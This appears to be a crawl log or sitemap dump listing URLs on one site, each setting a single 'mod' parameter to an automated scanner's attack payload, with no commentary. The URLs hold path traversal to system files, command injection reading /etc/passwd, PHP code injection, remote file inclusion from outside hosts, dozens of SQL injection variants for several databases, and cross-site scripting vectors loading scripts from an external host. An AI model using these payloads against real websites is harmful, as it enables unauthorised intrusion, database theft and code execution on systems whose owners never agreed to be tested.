http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=../../../../../../../../boot.ini%00.txt 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=/.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./boot.ini 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=;$%7B@print(md5(1122))%7D; 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=;cat%20/etc/passwd; 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=;print(md5(1122));%23 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=C:%5Cboot.ini 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=ELT(18=61,0x6D697363) 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=ELT(71=71,0x6D697363) 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=MAKE_SET(21=55,0x6D697363) 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=MAKE_SET(61=61,0x6D697363) 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=convert(int,('s'elect'%20char(106)%2bchar(58))) 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=data:text/plain,%3C%3Fphp%20print%28md5%281122%29%29%3B%3F%3E 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=die(md5($_get%5Bwebscan%5D));&webscan=1122 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=dir 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=file:///c:/boot.ini 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=http://hitBAo6EKQnyr.bxss.me/ 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=http://hitd0rQGQge8t.bxss.me/ 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=http://oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=http://some-inexistent-website.com/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=http://testasp.vulnweb.com/t/fit.txt 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc 0.0004 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc!(%28%29&%26%21%7C*%7C%2A%7C 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc%00' 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc%20AND%201997=PG_SLEEP(5) 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc%20AND%205=SLEEP(5) 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc%20AND%20PG_SLEEP(5) 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc%20AND%20SLEEP(5) 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc%20OR%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc%20OR%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc%20OR%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc%20OR%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc%20OR%205=SLEEP(5) 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc%20OR%20@%60'%60%20AND%20(SELECT%20*%20FROM%20(SELECT%20COUNT(*),CONCAT(FLOOR(rand(0)*2),(SELECT%20USER()))a%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20a)b)%20OR%20@%60'%60 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc%20OR%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc%20RLIKE%20(SELECT%20(CASE%20WHEN%20(73=55)%20THEN%200x6D697363%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc%20RLIKE%20(SELECT%20(CASE%20WHEN%20(88=88)%20THEN%200x6D697363%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc%20WAITFOR%20DELAY%20'0:0:5' 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc%22%20AND%20%22bQ%22=%2245 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc%22%20onmousemove='alert(42873)'wb=%22 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc%22%20onmousemove=alert(42873)%20wb=%22 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc%22%20onmouseover=prompt(42873)%20bad=%22 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc%22%20onmouseover=propromptmpt(42873)%20bad=%22 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc%22)%20AND%2075=43%20AND%20(%22g1%22=%22g1 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc%25%22%29%20AND%2093%3D16%20AND%201%20like%28%22%25 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc%25%27%29%20AND%2029%3D22%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc%25%27%29%20AND%2067%3D67%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc%25'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'%25'=' 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc%25'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'%25'=' 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc%25'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'%25'=' 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20'%25'=' 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20'%25'=' 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc%25'%20AND%2024=81%20AND%20'%25'=' 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc%25'%20AND%2035=35%20AND%20'%25'=' 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20'%25'=' 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(45=45)%20THEN%200x6D697363%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(96=18)%20THEN%200x6D697363%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc%2527 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc%27%2b(SELECT+1+FROM+(SELECT+SLEEP(5))A)%2b%27 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc%3CBASE%20HREF=%22javascript:alert(42873);//%22%3E 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc%3CEMBED%20SRC=javascript:alert(42873)%3E%3C/EMBED%3E 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc%3Ca%20href%3D%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2397%26%23108%26%23101%26%23114%26%23116%26%2340%26%2349%26%2350%26%2351%26%2352%26%2353%26%2341%3ETEST%3C/a%3E 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc%3Cbody%20ONLOAD=alert(42873)%3E 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc%3Cdiv%20style=width:expression(alert(42873))%3E 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc%3Ciframe%20SRC=javascript:alert(42873)%3E 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc%3Ciframe%20src=http://xxooxxoo.js%3E 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc%3Cimg%20src=1%20onerror=alert(42873)%3E 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc%3Cobject%20data=data:text/html;base64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4=%3E 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc%3Cscript%20src=http://xxooxxoo.js%3E%3C/script%3E 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc%3Cscript%3Ealert(42873)%3C/script%3E 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc%5B%5D 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc%5C%22 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc%5C' 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc%a8%a4%00xa7%a8%a4%a1%e9 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc%bf%27 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc&&&&&&&&&&&&&&&&&&& 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc' 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc'%20AND%20'4k'%20LIKE%20'87 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc'%20AND%20'5i'='Xj 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc'%20AND%20'LO'%20LIKE%20'LO 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc'%20AND%20'RH'='RH 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'Ta'='Ta 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc'%20AND%201471=UTL_INADDR.GET_HOST_ADDRESS(CHR(101)%7C%7CCHR(99)%7C%7CCHR(114)%7C%7CCHR(121)%7C%7CCHR(58)%7C%7CCHR(102)%7C%7C(SELECT%20(CASE%20WHEN%20(630=630)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(105)%7C%7CCHR(110)%7C%7CCHR(100)%7C%7CCHR(58)%7C%7CCHR(120)%7C%7CCHR(108))%20AND%20'OGmp'='OGmp 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'TnT'='TnT 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20'zl'='zl 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20'zl'='zl 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc'%20AND%20PG_SLEEP(5)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc'%20AND%20SLEEP(5)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc'%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20'zl'='lz 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc'%20OR%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20OR%20'NASDAQ'='ASDAQ 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc'%20OR%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20OR%20'Ta'='At 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc'%20OR%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20OR%20'zl'='lz 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc'%20OR%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20OR%20'zl'='lz 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(33=73)%20THEN%200x6D697363%20ELSE%200x28%20END))%20AND%20'Sc'='Sc 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(57=57)%20THEN%200x6D697363%20ELSE%200x28%20END))%20AND%20'hY'='hY 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc'%22 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc'%22%5C'%5C%22%2527%3d%bf%27%B0 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc'%2b(SELECT%20CONVERT(INT,CHAR(106)%2bCHAR(106)%2bCHAR(106))%20FROM%20SYSCOLUMNS)%2b' 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc'%5B.%5D(,.)(%22 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc'%7C%7CCTXSYS.DRITHSX.SN(user,(select%20chr(104)%7C%7Cchr(105)%7C%7Cchr(58)%7C%7Cchr(102)%7C%7Cchr(105)%7C%7Cchr(110)%7C%7Cchr(100)%7C%7Cchr(58)%7C%7Cchr(105)%7C%7Cchr(116)%20from%20DUAL))%7C%7C' 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc')%20AND%20('Fl'%20LIKE%20'RT 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc')%20AND%20('Y1'%20LIKE%20'Y1 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc')%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20('NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc')%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20('Ta'='Ta 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc')%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20('TnT'='TnT 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc')%20AND%2029=29%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc')%20AND%2039=48%20AND%20('Ma'='Ma 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc')%20AND%20SLEEP(5)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc')%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20('eEye'='eye 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc')%20OR%2019=19%20AND%20('iY'='iY 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc')%20OR%2062=53%20AND%20('Eye'='Eye 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(28=28)%20THEN%200x6D697363%20ELSE%200x28%20END))%20AND%20('MB'='MB 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(57=46)%20THEN%200x6D697363%20ELSE%200x28%20END))%20AND%20('Et'='Et 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc'/**/AND/**/1=CHAR(106)%2bCHAR(106)%2bCHAR(106)/**/AND/**/'zl'='zl 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc) 0.0001 